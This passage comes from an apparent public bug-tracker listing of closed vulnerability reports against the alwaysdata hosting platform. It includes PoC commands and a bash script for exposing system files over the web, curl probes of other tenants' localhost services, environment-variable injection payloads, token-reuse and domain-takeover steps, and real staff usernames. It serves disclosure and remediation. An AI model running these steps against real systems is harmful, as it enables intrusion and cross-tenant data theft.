3)A demonstrated fix-verification gap. The tracker's own history shows this is not a theoretical risk:  FS#426  was closed as fixed, and within 6 days a bypass of that exact fix was filed as  FS#440  — the bypass author could only have known the precise remediation detail (which NSS entries were removed, without the underlying file permissions being fixed) by reading the closed  FS#426  report on this same publicly-accessible tracker.

4)Real-time exposure of new reports. The RSS feed surfaces new task titles within hours of filing, meaning the window between "vulnerability reported" and "details become guessable/discoverable via title" is effectively zero, independent of whether the underlying bug has been fully remediated across all affected infrastructure.

5)Attack surface mapping at scale. Two years of closed reports on this tracker constitute a complete map of every vulnerability class alwaysdata's own infrastructure has been susceptible to, the exact endpoints involved, and in several cases exploit code — usable by an attacker to identify recurring weak points (e.g., the file-permission/symlink issue spanning both  FS#426  and  FS#440 ) without ever probing the live application themselves.

Remediation Immediate:

Enforce the same authorization check on closed tasks that is currently correctly applied to open tasks. Task visibility must be gated by project membership/authentication regardless of status.
Audit the Flyspray permission configuration for the "Security vulnerabilities" project to identify why the anonymous-access check is being bypassed specifically for closed-status tasks — this is most likely a conditional in the task-rendering logic that special-cases closed tasks (e.g., for public changelog purposes) without accounting for the confidentiality requirement of a private security tracker.

RSS feed:

Require authentication for /feed.php or disable it for the Security vulnerabilities project.
If transparency is a goal:

Publish a separate, manually curated advisories page with sanitized summaries only, released on a fixed delay (e.g., 90 days) after full remediation is verified across all affected infrastructure — do not rely on the tracker's native closed-task view for this purpose.

Kind Regards
Team TrinityXploit

 445  High — FS#390 Incomplete Fix: Runtime-Control Environme ...Closed19.08.2026 Task Description

Subject: High Severity —  FS#390  Incomplete Fix: Runtime-Control Environment Variable Injection via Site API

Hello alwaysdata Security Team,

I am reporting a High Severity incomplete-fix vulnerability related to  FS#390 , concerning runtime-control environment variable injection through the Site API.

### Researcher

Hacker AK Security Researcher
Email: [hackerak822@gmail.com](mailto:hackerak822@gmail.com)

### Severity

High — CVSS 3.1: 8.8

```text
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
```

### Summary

The previously reported  FS#390  vulnerability allowed customer-controlled environment variables to influence application process startup through the alwaysdata Site API.

The original issue involved the `LD_PRELOAD` environment variable. Although the original vulnerability was fixed, the broader security boundary around runtime-control environment variables should also prevent equivalent startup mechanisms.

The affected functionality is:

```http
PATCH /v1/site/{SITE_ID}/
```

through the:

```json
{"environment":"<VARIABLE>=<VALUE>"}
```

field.

Runtime-control variables such as `NODE_OPTIONS`, `PYTHONSTARTUP`, `RUBYOPT`, `PERL5OPT`, and `BASH_ENV` can influence interpreter startup and may provide an attacker-controlled code-execution primitive.

### Original  FS#390  Context

The original vulnerability involved:

```text
LD_PRELOAD=/tmp/evil.so
```

through the `environment` field.

The original  FS#390  issue was fixed on July 13, 2026.

### Primary Proof of Concept

The primary validation payload is:

```text
NODE_OPTIONS=–version
```

Request:

```bash
curl -s -o /tmp/out.json -w "HTTP:%{http_code}\n" \

  1. -basic –user "$APIKEY:" \
  2. H "Content-Type: application/json" \
  3. d '{"environment":"NODE_OPTIONS=–version"}'

```

The purpose of this PoC is to verify whether the Site API security control covers runtime-control environment variables beyond the originally reported `LD_PRELOAD`.

### Security Impact

If a runtime-control variable is accepted and persisted, it can influence application startup.

For example:

```text
NODE_OPTIONS=–require /path/to/module.js
```

can cause Node.js to load a module automatically during startup.

Potential impact includes:

* Arbitrary code execution as the site user
* Access to application environment variables
* Exposure of API keys and database credentials
* Modification of application files
* Application-level persistence
* Runtime manipulation

### Recommended Remediation

The preferred remediation is to use a strict allowlist for customer-controlled environment variables rather than maintaining an expanding denylist.

Recommended controls:

1. Allow only explicitly permitted environment-variable names.
2. Normalize variable names before validation.
3. Reject leading/trailing whitespace and malformed definitions.
4. Validate both variable names and values.
5. Apply validation consistently across all Site API management paths.
6. Ensure application processes receive only explicitly permitted environment variables.

### Regression Tests

The following runtime-control variables should be covered by the security validation:

```text
LD_PRELOAD=canary
LD_LIBRARY_PATH=canary

NODE_OPTIONS=–version
NODE_PATH=canary

PYTHONSTARTUP=canary
PYTHONPATH=canary
PYTHONHOME=canary
PYTHONINSPECT=1

RUBYOPT=canary
RUBYLIB=canary

PERL5OPT=canary
PERL5LIB=canary

BASH_ENV=canary
ENV=canary

JAVA_TOOL_OPTIONS=canary
_JAVA_OPTIONS=canary
```

Normalization variants should also be tested:

```text
ld_preload=canary
Ld_Preload=canary
LD_PRELOAD =canary
```

### Impact

An authenticated attacker with the required Site API permissions could potentially use a permitted runtime-control environment variable to influence the startup behavior of their hosted application.

If code execution is confirmed, the attacker could potentially:

* Execute arbitrary code as the site user
* Read application secrets
* Access environment credentials
* Modify application files
* Establish persistence
* Affect application availability and integrity

Severity: High — CVSS 3.1: 8.8

### Requested Action

Please verify that the  FS#390  remediation protects against the complete class of runtime-control environment variable injection, rather than only the originally reported `LD_PRELOAD` value.

The security requirement should be:

Customer-controlled environment variables must not be capable of modifying interpreter, loader, shell, or JVM startup behavior.

Thank you for reviewing this security report.

Regards,

Hacker AK Security Researcher
[hackerak822@gmail.com](mailto:hackerak822@gmail.com)

Testing Date: 2026-08-16

 443  Authenticated API Disclosure of DKIM Private Keys Closed13.08.2026 Task Description

Description

I identified a sensitive information disclosure vulnerability in the AlwaysData REST API affecting the Domain API resource.

An authenticated API user can request:

GET /v1/domain/

or an individual domain:

GET /v1/domain/{domain_id}/

and the API response contains the complete dkim_private_key value for the domain.

The response exposes the private RSA key alongside the public DKIM key. According to AlwaysData's own documentation, the DKIM private key is intended to be known only to and kept secret by the domain's mail delivery servers, while the public key is published through DNS. I validated this against my own authorized test accounts/domains and did not attempt to access or extract private keys belonging to unauthorized users.

CVSS → CVSS v3.1: 7.5 (High)

Steps to Reproduce 1. Obtain an authorized AlwaysData API token. Use an API token belonging to an account you control.AlwaysData documents API authentication using the API token followed by a colon.

2. Request the domain collection

curl -sS --basic \
  --user "$APIKEY:" \
  'https://api.alwaysdata.com/v1/domain/'

3. Observe the response
The API returns domain objects containing:

{
    "id": 130581,
    "name": "www.dam.com",
    "dkim_selector": "alwaysdata",
    "dkim_public_key": "[REDACTED]",
    "dkim_private_key": "[REDACTED]"
}

The actual dkim_private_key value contains a complete RSA private key.

4. Verify an individual domain
Example:

curl -sS --basic \
  --user "$APIKEY:" \
  'https://api.alwaysdata.com/v1/domain/130581/'

The response again contains:

"dkim_private_key": "[REDACTED]"

5. Validation performed - The collection response returned the dkim_private_key field for 3 authorized domains. The individual domain endpoint also returned the same sensitive field.

For safety, I have not included the actual private-key material in this report.

Actual Behavior The authenticated Domain API returns the domain's complete DKIM private key in the JSON response.

The private key is exposed through:

GET /v1/domain/
GET /v1/domain/{domain_id}/

This means an API consumer with appropriate access to the domain resource can retrieve cryptographic secret material that should remain confidential.

Expected Behavior

The API should never return the DKIM private key through normal domain API responses.

If the private key is required for an administrative operation, it should remain server-side and should not be serialized into API responses.

The API response should expose only non-sensitive information such as:

{
    "dkim_selector": "alwaysdata",
    "dkim_public_key": "[public key]"
}

and omit:

"dkim_private_key"

Impact

The disclosed DKIM private key is cryptographic secret material used for DKIM email authentication. AlwaysData's documentation states that DKIM uses a private/public key pair and that the private key is kept secret by the mail delivery servers.

If an attacker obtains a valid DKIM private key for a domain and can use it appropriately, they may potentially be able to generate DKIM signatures associated with that domain.

This could undermine the trust provided by DKIM and potentially facilitate convincing domain-authenticated email activity.

The vulnerability therefore represents confidentiality loss of cryptographic credentials.

Business Impact

Potential business impact includes:

1- Exposure of customers' cryptographic signing secrets.
2- Potential compromise of email-authentication trust for affected domains.
3- Increased risk of domain impersonation/phishing scenarios.
4- Potential reputational damage to customers whose domains are affected.
5- Requirement to regenerate/revoke affected DKIM keys.
6- Incident-response and customer-notification costs if production keys are exposed.

Remediation 1- Remove dkim_private_key from all API responses.
2- Return only the DKIM public key and selector where required.
3- Keep private DKIM keys exclusively server-side.
4- Review the serializer/schema for the /v1/domain/ resource and individual domain endpoint.
5- Audit API permissions to ensure private cryptographic material cannot be retrieved through any other endpoint.
6- Rotate/regenerate all DKIM private keys that were exposed, because previously exposed keys should be considered compromised.
7- Review API and application logs to determine whether sensitive keys were accessed by unauthorized parties.

PoC Kindly check attachments

Conclusion

The AlwaysData Domain API currently exposes complete DKIM private keys to authenticated API clients through both the domain collection and individual-domain endpoints.

I confirmed the issue using only accounts and domains under my control and did not attempt to access other customers' private information.

The exposed value is a genuine cryptographic private key rather than merely metadata or a public DKIM record. This creates a significant confidentiality risk and should be remediated by removing the private key from API responses and rotating affected DKIM credentials.

Thanks
Add regression tests ensuring secret fields such as private keys are never serialized in normal API responses.

 442  Cross-User File Read / Insecure File Permissions Leadin ...Closed13.08.2026 Task Description

Description

A cross-user file access vulnerability was identified in the shared hosting environment. The authenticated user remberme is able to read files owned by other users, such as:

/tmp/dashboard.env.local.bak

The file is owned by another account:

Owner: davidgoncalves
Group: davidgoncalves
Permissions: 664

The permission mode 664 grants read access to users outside the file owner/group through the other::r– permission.

Using the remberme account, I successfully verified that the file is readable, demonstrating a violation of expected cross-user filesystem isolation.

CVSS → CVSS v3.1: 7.0 (High)

The severity may increase if the affected files contain credentials, API keys, private source code, customer information, or other sensitive data.

Steps to Reproduce

1- Log in to the hosting environment using a normal account, e.g.: remberme@ssh1

2- Identify a file belonging to another user: stat -c 'owner=%U group=%G mode=%a file=%n' /tmp/dashboard.env.local.bak

3- The file reports:

owner=davidgoncalves
group=davidgoncalves
mode=664

4- Check the ACL: getfacl -p /tmp/dashboard.env.local.bak

5- The output confirms:

user::rw-
group::rw-
other::r--

6- While authenticated as remberme, verify read access: test -r /tmp/dashboard.env.local.bak && echo "READABLE" || echo "NOT_READABLE"

7- The result is: READABLE

8- A non-destructive read test was performed:

head -c 1 /tmp/dashboard.env.local.bak >/dev/null 2>&1 \
&& echo "CROSS-USER READ CONFIRMED" \
|| echo "READ FAILED"

9- Result: CROSS-USER READ CONFIRMED
No modification, deletion, or execution of the other user's file was performed.

Actual Behaviour

A normal authenticated user is able to obtain read access to a file owned by another user/account. This demonstrates insufficient filesystem isolation between users in the shared hosting environment.

Expected Behaviour

Files belonging to another customer/user should not be readable by an unrelated authenticated account unless explicitly shared. The platform should enforce strict per-user filesystem isolation and ensure that customer-owned files are inaccessible to other customers.

Impact An attacker with a valid low-privileged hosting account could potentially enumerate and read files belonging to other users when those files are created with overly permissive permissions.

Depending on the affected files, this could expose:

1- Application source code
2- Configuration files
3- Database credentials
4- API keys/tokens
5- Environment variables
6- Internal application data
7- Customer-specific information
8- Backup files

The demonstrated .env.local.bak filename is particularly concerning because environment/backup files commonly contain application configuration and secrets.

Business Impact

This issue breaks the fundamental tenant isolation expected from a multi-user hosting platform.

Successful exploitation could allow one customer to access another customer's confidential application data or credentials, potentially resulting in:

1- Customer data exposure
2- Credential/API-key compromise
3- Unauthorized access to external services
4- Loss of customer trust
5- Privacy and compliance concerns
6- Increased impact from chained attacks

The business impact depends on the sensitivity of the files exposed through the insecure permissions.

Conclusion

The testing demonstrates that the remberme account can read a file owned by the unrelated davidgoncalves account due to permissive filesystem permissions.

The issue is therefore reproducible and not merely theoretical. I recommend enforcing strict per-user filesystem isolation and preventing files created by one customer from being readable by other customers by default.

Thanks

 440  Incomplete Fix for FS#426 - Staff Files Still Publicly  ...Closed10.08.2026 Task Description

The fix for  FS#426  removed staff entries from NSS (`getent passwd` now returns empty for staff), but the files themselves were not restricted. /alwaysdata/etc/passwd and /alwaysdata/etc/group remain mode 644 and can be read directly via `cat` from any SSH session.

Worse: because Apache uses FollowSymLinks without SymLinksIfOwnerMatch, an SSH user can symlink these files into ~/www/ and serve them over HTTPS to anyone on the internet without authentication. This escalates the exposure from "SSH-only" ( FS#426 ) to "public internet."

Vulnerable asset:
ssh://ssh-[account].alwaysdata.net
https://[account].alwaysdata.net/ (Apache with FollowSymLinks)
Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)

Root cause:
1. Files not restricted after  FS#426  fix (still -rw-r–r–)
2. Apache follows symlinks pointing outside DocumentRoot regardless of target ownership

Steps to reproduce:

1. SSH in:

ssh bores@ssh-bores.alwaysdata.net

2. Confirm  FS#426  fix is in place (NSS no longer exposes staff):

$ getent passwd | grep "/alwaysdata/home/"
(no output)

3. File still readable directly:

$ cat /alwaysdata/etc/passwd
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ ls -l /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 440 Dec  9  2024 /alwaysdata/etc/passwd

4. Symlink into web root and serve publicly:

$ ln -sf /alwaysdata/etc/passwd ~/www/staff
$ ln -sf /alwaysdata/etc/group ~/www/roles

5. Fetch from anywhere (no auth, no SSH needed):

$ curl https://bores.alwaysdata.net/staff
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
$ curl https://bores.alwaysdata.net/roles
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce

6. Negative control (root-only file blocked as expected):

$ ln -sf /etc/shadow ~/www/shadow
$ curl https://bores.alwaysdata.net/shadow
403 Forbidden

7. Cleanup:

$ rm ~/www/staff ~/www/roles ~/www/shadow

PoC script (run from any machine with sshpass + curl):

#!/bin/bash
# Usage: bash poc.sh <account> <password>
ACCOUNT="$1"; PASSWORD="$2"
SSH="ssh-${ACCOUNT}.alwaysdata.net"
WEB="https://${ACCOUNT}.alwaysdata.net"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
  'ln -sf /alwaysdata/etc/passwd ~/www/poc_staff && ln -sf /etc/shadow ~/www/poc_shadow'
echo "Staff file:" && curl -s "${WEB}/poc_staff"
echo "Shadow (should 403):" && curl -s -o /dev/null -w "%{http_code}" "${WEB}/poc_shadow"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
  'rm -f ~/www/poc_staff ~/www/poc_shadow'

Impact:
- Same data as  FS#426 , but now served to the public internet (no SSH required to view)
- Any world-readable system file can be exposed this way (/etc/passwd, /etc/mysql/mariadb.cnf, etc.)
- An attacker only needs to share the URL; the recipient needs no account or credentials to see staff data

Tested on my own account only. Symlinks removed after each test.

Suggested fix:
1. chmod 640 /alwaysdata/etc/passwd /alwaysdata/etc/group (root:alwaysdata_team)
2. Switch customer vhosts to Options SymLinksIfOwnerMatch
Either one blocks this; both together for defense in depth.

 438  Title: Domain Transfer Logic Flaw Allows Domain Takeove ...Closed18.08.2026 Task Description

Severity: Critical

Description

There is a logic flaw in the domain transfer workflow that allows a previously created transfer request to remain valid and executable even after the domain has already been transferred to another user.

The application does not invalidate or revalidate pending transfer requests when the domain’s ownership or state changes. As a result, an attacker can create a transfer request targeting an email address they control, retain this request, and then allow the domain to be legitimately transferred to the victim’s account.

After the transfer is completed, the previously created transfer request remains valid. The attacker can therefore use it at a later time to transfer the domain from the victim’s account to an account controlled by the attacker.

In other words, the attacker can retain a persistent path to take over the domain even after the domain has become owned by the victim.

Steps to Reproduce

  Create a domain from an attacker-controlled account.
  Navigate to Domain Settings → DNSSEC.
  Toggle the DNSSEC status between Active and Deactivated approximately 6 times.
  Create a transfer request for the domain to another account controlled by the victim.
  Have the victim accept the transfer request.
  During the short period before the transfer state is fully reflected, the attacker cancels the visible transfer request.
  The attacker immediately creates another transfer request for the domain to an email address they control.
  The transfer request accepted by the victim is processed, and the domain reaches the victim’s account.
  Despite the domain ownership having been transferred to the victim, the previously created transfer request by the attacker remains valid and usable.
  The attacker can later accept the old transfer request, causing the domain to be transferred from the victim’s account to the attacker’s account.

POC: https://admin.alwaysdata.com/support/95089/

Impact

The vulnerability results in unauthorized domain takeover with a persistent path to regain control of the domain.

The issue is not merely temporary access or unauthorized modification of a transfer request; the attacker can retain a valid transfer request that can be used later, even after ownership of the domain has been legitimately transferred to the victim.

After the domain is transferred to the attacker’s account, they can control the resources hosted on or associated with the domain, including, depending on the resources associated with it:

  The website associated with the domain.
  DNS configuration.
  Email addresses and mailboxes.
  Mailing Lists.
  Users associated with the domain.
  Databases and other resources associated with the domain.

Therefore, the ultimate impact is complete loss of domain ownership and control over the hosted infrastructure and resources associated with it, rather than merely manipulating a transfer request.

Suggested Remediation

Transfer Requests should be treated as stateful, single-use transactions and must not remain valid after the domain’s ownership or transfer state changes.

 433  Password Reset Tokens Not Invalidated After Password Ch ...Closed07.08.2026 Task Description

The admin panel password reset at admin.alwaysdata.com issues tokens with a 3-day validity window. When a user triggers multiple resets, using one token to change the password does not invalidate the others. An older sibling token remains fully functional and can overwrite the new password at any point within its 3-day lifetime, giving an attacker persistent account takeover that the victim cannot revoke.

Vulnerable endpoint: https://admin.alwaysdata.com/user/reset_password/ Token generation: https://admin.alwaysdata.com/password/lost/

ROOT CAUSE

Token validation does not include the current password hash. Django's default PasswordResetTokenGenerator binds tokens to the password hash, so any credential change voids all outstanding tokens. The custom implementation here validates only user_id, timestamp, and expiration. A consumed token correctly shows "invalid" on revisit (per-token single-use works), but unconsumed sibling tokens remain valid after a password change through a different token.

REPRODUCTION

Tested 2026-08-07, Chrome on Windows 11, production admin.alwaysdata.com. One test account owned by me.

1. Triggered two password resets for the same account within 6 seconds. Received Token A (timestamp 1786058809) and Token B (timestamp 1786058815).

2. Opened Token B. Reset form displayed. Set password to "TokenBProof_2026!" and submitted. Server returned 302 to /login/ (password changed).

 [Screenshot 1: Token B form with password visible]
 [Screenshot 2: redirect to /login/]

3. Opened Token A (issued before the password change). Reset form still displayed. Set password to "TokenAProof_ATO!" and submitted. Server returned 302 to /login/.

 [Screenshot 3: Token A form still active after password was already changed]
 [Screenshot 4: redirect to /login/]

4. On the login page, entered email + "TokenAProof_ATO!" and submitted. Server showed 2FA prompt ("You have enabled two-factor authentication, so please enter your security code"), confirming the stale token's password is now the active credential.

 [Screenshot 5: login form with credentials]
 [Screenshot 6: 2FA prompt]

Expected: Token A should show "invalid link" after the password was changed via Token B.
Actual: Token A remains functional and overwrites the new password.

IMPACT

An attacker who gains temporary access to a victim's email (phishing, shared workstation, corporate mail breach) can save one reset link. Even if the victim notices and resets their own password, the attacker's saved link remains valid for up to 3 days. Using it overwrites whatever password the victim set, completing account takeover.

On alwaysdata, this exposes: web hosting management, SSH access, databases, mailboxes, domain/DNS configuration, API tokens, and billing.

All testing was performed against my own accounts only. A standalone PoC script (poc.py) is attached.

SUGGESTED FIX

Include the password hash in token validation by switching to Django's built-in PasswordResetTokenGenerator. Alternatively, store a per-user token nonce and increment it on every password change, rejecting tokens with stale nonce values. Reducing the token lifetime from 3 days to 1 hour would also limit the exploitation window.

 432  Improper Cache Control Enabling Sensitive Data Exposure ...Closed05.08.2026 Task Description

Improper Cache Control Enabling Sensitive Data Exposure via Mobile Swipe Navigation
Target admin.alwaysdata.com
Vulnerability Class CWE-525: Use of Web Browser Cache Containing Sensitive Information / Improper Cache-Control
Report Date August 4, 2026
Reported By [ Waleed Anwar ]
Severity [ e.g. Medium — CVSS 3.1: . ]
Affected Endpoint(s) [ e.g. /dashboard, /account, /admin/* ]
Status [ New submission ]
1. Summary
The application at admin.alwaysdata.com fails to set adequate Cache-Control headers on pages containing session-authenticated or sensitive account data. On mobile browsers (iOS Safari / Android Chrome), swipe-based back/forward navigation restores a full-page snapshot from the browser's back-forward cache (bfcache) rather than issuing a fresh request to the server. As a result, sensitive content may remain visible to a subsequent user of the same device even after logout or session expiry.
2. Vulnerability Details
2.1 Root Cause
HTTP responses for authenticated pages do not include a strict no-store cache directive, or include a weaker directive that still permits browser-level storage of the rendered page. This allows swipe-gesture navigation on mobile browsers to render a cached snapshot of a previously authenticated state.
2.2 Observed Headers
GET /dashboard HTTP/1.1
Host: admin.alwaysdata.com

HTTP/1.1 200 OK
[ Cache-Control: <value observed, or note if header is absent> ]
[ Pragma: <value observed, or note if header is absent> ]
[ Expires: <value observed, or note if header is absent> ]
2.3 Expected / Recommended Headers
Cache-Control: no-store, no-cache, must-revalidate, private
Pragma: no-cache
3. Steps to Reproduce
• Log in to admin.alwaysdata.com on a mobile browser (iOS Safari or Android Chrome) Navigate to a sensitive/authenticated page.
• Log out of the application
• Perform a swipe-back gesture (iOS edge-swipe or Android back gesture)
• Observe[ sensitive data was exposed, while in login page email and password was also shown].
4. Impact
• Shared/public device exposure: a subsequent user of the same device may view a previous user's authenticated session data via swipe navigation
• Post-logout data persistence: sensitive account information remains visible after the session has ended
• [ Add any additional impact confirmed during testing, e.g. exposure of specific data fields, tokens, or admin functionality ]
6. Recommended Remediation
• Apply Cache-Control: no-store, no-cache, must-revalidate, private to all responses containing session-bound or sensitive data
• Include a Pragma: no-cache header for legacy HTTP/1.0 client compatibility
• Send a Clear-Site-Data header on logout to purge cached data client-side
• For single-page app views, listen for the pageshow event and check event.persisted to force re-authentication or a fresh data fetch when a page is restored from bfcache
• Re-test explicitly with swipe-back gestures on iOS Safari and Android Chrome after remediation, not solely the desktop back button, as bfcache behavior differs by platform and browser engine.

Thank You,

Waleed Anwar

 430  Cross-Tenant Localhost Access via Shared Network Namesp ...Closed02.08.2026 Task Description

## Summary

Any SSH user on a shared hosting server can connect to TCP services running on localhost (127.0.0.1) that belong to other customers.

Although the platform enforces process isolation using `hidepid=invisible` and restricts visibility of other users' processes under `/proc`, all SSH users continue to share the same Linux network namespace (`net:[4026531833]`). As a result, any service listening on `127.0.0.1` or `0.0.0.0` is reachable by every tenant on the same physical server.

Using only an unprivileged SSH account, I was able to:

* Access another customer's Cloudflare Tunnel management API * Read the tunnel configuration, hostname, connector ID, metrics, and origin service information
* Access the tunnel's backend service directly
* Execute inference requests against another customer's AI model router
* Access a third customer's web application hosted on localhost

## Affected Asset

```
ssh://ssh-bres3680test.alwaysdata.net
```

Server

```
SSH2
Kernel: 6.18.38-alwaysdata
OS: Debian 12 (Bookworm)
```

Affected Scope

All customer services listening on:

* `127.0.0.1`
* `0.0.0.0`

on the same shared hosting server.

# Root Cause

The platform isolates processes using:

```bash
hidepid=invisible
```

which prevents users from viewing other customers' processes via `/proc`.

```bash
$ mount | grep proc

proc on /proc type proc (rw,relatime,gid=4,hidepid=invisible)
```

However, network isolation is not implemented.

Every SSH session runs inside the same Linux network namespace:

```bash
$ readlink /proc/self/ns/net

net:[4026531833]
```

Namespace inode `4026531833` is the default host network namespace. Every customer account resolves to the same namespace, confirming there is no per-user network isolation.

As a result:

* users cannot determine which process owns a listening port,
* but they can freely connect to every listening localhost service.

# Steps to Reproduce

## 1. Login via SSH

```bash
$ whoami
bres3680test

$ id
uid=537578(bres3680test) gid=492644(bres3680test) groups=492644(bres3680test)
```

## 2. Verify no services belong to my account

```bash
$ ps -u bres3680test -f
UID PID PPID C STIME TTY TIME CMD
bres368+ 1526282 1526280 0 00:52 ? 00:00:00 bash
bres368+ 1526288 1526282 0 00:52 ? 00:00:00 ps -u bres3680test -f
```

```bash
$ ss -tlnp | grep -c "users:"
0
```

Because of `hidepid`, socket ownership is hidden, but listening ports remain visible.

I do not own any of these services.

## 3. Access another customer's Cloudflare Tunnel Management API

Query the management interface:

```bash
$ curl http://127.0.0.1:20241/quicktunnel ```

Response:

```json
{

"hostname":"drain-emission-roy-strip.trycloudflare.com"

}
```

Check tunnel readiness:

```bash
$ curl http://127.0.0.1:20241/ready ```

```json
{

"status":200,
"readyConnections":1,
"connectorId":"f37e899d-aa13-48eb-9968-7142efefb28a"

}
```

Retrieve tunnel configuration:

```bash
$ curl http://127.0.0.1:20241/config ```

Excerpt:

```json
{

"config": {
  "ingress": [
    {
      "service":"http://localhost:33468"
    }
  ]
}

}
```

Retrieve metrics:

```bash
$ curl http://127.0.0.1:20241/metrics ```

Example:

```
build_info version="2026.7.3"

cloudflared_tunnel_ha_connections 1

cloudflared_tunnel_server_locations edge_location="lhr13"

cloudflared_tunnel_total_requests 400
```

### Information exposed

* Tunnel hostname
* Internal origin port
* Connector UUID
* Cloudflare edge location
* cloudflared version
* Request statistics

## 4. Access the Tunnel Origin Directly

The tunnel configuration exposed the backend service:

```
localhost:33468
```

Connecting directly:

```bash
$ curl -I http://127.0.0.1:33468/ ```

```
HTTP/1.1 404 Not Found
```

The backend is reachable directly from another tenant.

This bypasses any protections that rely solely on the public Cloudflare endpoint (such as Cloudflare Access or IP-based restrictions).

## 5. Access Another Customer's AI Router

Version endpoint:

```bash
$ curl http://127.0.0.1:10219/api/version ```

```json
{

"currentVersion":"0.5.45"

}
```

The service identifies itself as:

```
9Router - AI Infrastructure Management
```

The OpenAI-compatible API exposes 581 configured models without authentication.

```bash
$ curl http://127.0.0.1:10219/api/v1 ```

Result:

```
581 models
```

Execute an inference request:

```bash
POST /api/v1/chat/completions
```

Response:

```json
{

"model":"nemotron-3-ultra-free",
"choices":[...]

}
```

The request completed successfully.

Although the tested model routed to a free backend, the platform exposes hundreds of configured providers (including commercial providers such as OpenAI and SiliconFlow). If paid API credentials were configured, an attacker could consume another customer's API quota.

## 6. Access Another Customer's Web Application

```bash
$ curl -I http://127.0.0.1:3001/ ```

```
HTTP/1.1 200 OK
```

Retrieve page title:

```bash
$ curl http://127.0.0.1:3001/ ```

```
<title>
Meridian – Time Tracking & Invoicing for Freelancers
```

This confirms another customer's localhost application is directly accessible.

## 7. Negative Control

Attempt to connect to a port with no listener:

```bash
$ curl –max-time 2 http://127.0.0.1:9999/ ```

Result:

```
Connection refused
```

This confirms successful connections occur only when another tenant is actively listening.

# Difference from  FS#418  and  FS#419 

This issue is distinct from previously reported findings.

###  FS#418 

Cross-tenant access through the shared `/tmp` directory.

Layer

Filesystem

Fix

Private `/tmp` via mount namespaces.

###  FS#419 

SSRF through reverse proxy configuration pointing to localhost.

Layer

HTTP / Reverse Proxy

Fix

Validate backend target URLs.

### This Report

Cross-tenant access caused by the shared Linux network namespace.

Layer

Kernel networking

Required Fix

Network isolation between customer accounts.

Although the filesystem and reverse proxy issues were addressed, the underlying shared network namespace remains unchanged.

# Impact

An unprivileged customer can access localhost services belonging to other tenants on the same server.

During testing I successfully:

* Retrieved another customer's complete Cloudflare Tunnel configuration.
* Discovered tunnel hostname, origin port, connector ID, version, metrics, and edge location.
* Connected directly to the tunnel's backend service.
* Executed inference requests against another customer's AI infrastructure.
* Accessed a third customer's web application.
* Demonstrated that any localhost service without its own authentication is exposed to every co-tenant.

This represents cross-tenant access to customer-hosted services and may expose confidential data, administrative interfaces, internal APIs, or consume customer resources.

Qualifying Category

Access customer data / information

# Recommended Remediation

1. Implement per-user network namespaces for SSH sessions so each customer has an isolated network stack while retaining outbound Internet connectivity through a bridged interface.

2. If full namespace isolation is not immediately feasible, enforce per-UID loopback filtering (e.g., using `nftables`) to block connections where the destination socket belongs to a different UID.

3. Until a technical fix is deployed, update the documentation to clearly state that services bound to `127.0.0.1` are visible to other tenants, and recommend using Unix domain sockets or application-level authentication for localhost services.

# Conclusion

The platform successfully isolates processes but does not isolate networking. Because all customers share the same Linux network namespace, localhost is effectively a shared communication channel between tenants. This allows any SSH user to enumerate and interact with services running on other customer accounts, resulting in cross-tenant access to internal applications, management interfaces, and potentially sensitive customer data. Addressing this issue requires network-level isolation rather than additional process or filesystem restrictions.

Thanks

 429  Cross-Site Request Forgery (CSRF) Allows Unauthorized L ...Closed02.08.2026 Task Description

Description

The application does not implement adequate Cross-Site Request Forgery (CSRF) protection for the Logs Refresh functionality. As a result, an attacker can craft a malicious HTML page that causes an authenticated victim's browser to send a forged Logs Refresh request.

By replacing the service_id in the forged request with a valid service ID belonging to the victim, the attacker can trigger the Logs Refresh action without the victim's knowledge or consent. Since the request is processed using the victim's authenticated session, the action is executed successfully.

This vulnerability allows attackers to perform unauthorized state-changing actions on behalf of authenticated users.

Steps to Reproduce
Log in with an attacker account.
Navigate to Services and create a new service.
Open a separate browser or private window and log in with a victim account.
Create a service in the victim account.
Return to the attacker account.
Trigger the Logs Refresh functionality for the attacker's service.
Capture the request using Burp Suite.
Generate a CSRF PoC using Burp Suite → Engagement Tools → Generate CSRF PoC.
Save the generated HTML file.
Modify the PoC by replacing the attacker's service_id with the victim's service_id.
Open the modified HTML file in the victim's browser while the victim is authenticated.
Click Submit.
Observe that the Logs Refresh action is successfully executed for the victim's service without the victim intentionally initiating the request.
Expected Behavior

The application should implement proper CSRF protection for all state-changing requests. Requests should only be accepted when accompanied by a valid anti-CSRF token or another appropriate CSRF mitigation mechanism. Additionally, the server should verify that the request was intentionally initiated by the authenticated user.

Actual Behavior
The server accepts forged cross-origin requests without validating their authenticity. As a result, a malicious website can cause an authenticated user's browser to execute the Logs Refresh action using the victim's active session.

Security Impact
An attacker can exploit this vulnerability to:

Force authenticated users to perform Logs Refresh operations without their knowledge or consent.
